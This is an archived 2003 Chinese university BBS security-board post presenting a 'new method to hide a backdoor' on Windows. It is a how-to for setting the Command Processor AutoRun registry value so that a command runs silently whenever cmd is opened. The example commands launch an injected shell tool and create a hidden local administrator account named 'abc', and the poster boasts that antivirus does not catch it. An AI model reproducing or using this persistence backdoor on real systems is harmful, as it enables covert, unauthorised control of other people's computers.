荔园在线
荔园之美，在春之萌芽，在夏之绽放，在秋之收获，在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: sonicboy (sonicboy), 信区: Security
标 题: [原创]一个新的隐藏后门方法
发信站: 荔园晨风BBS站 (Wed Jun 18 12:34:45 2003)
先用regedit打开HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor或HKEY_C
URRENT_USER\Software\Microsoft\Command Processor ，看见这个主健下是不是有AutoR
un健，将AutoRun键值改为你想要得命令即可。比如我上面用的用@c:\InjShell.exe svch
ost.exe 1026 >nul ，有人使用cmd的话，就会自动执行你设置的命令。当然，你改成
net user abc 123 /add 再net localgroup administrators abc /add也可以的，而且不
查杀，厉害吧，呵呵，请不要利用在我们的同学们身上，谢谢！
--
HIHI!I AM SONICBOY,MY QQ IS 28860.MY BBS : http://waterclub.126.com
SONICBOY EDONKEY SERVER:61.144.225.74:4661
※ 来源:．荔园晨风BBS站 http://bbs.szu.edu.cn [FROM: 61.144.235.40]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接：深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店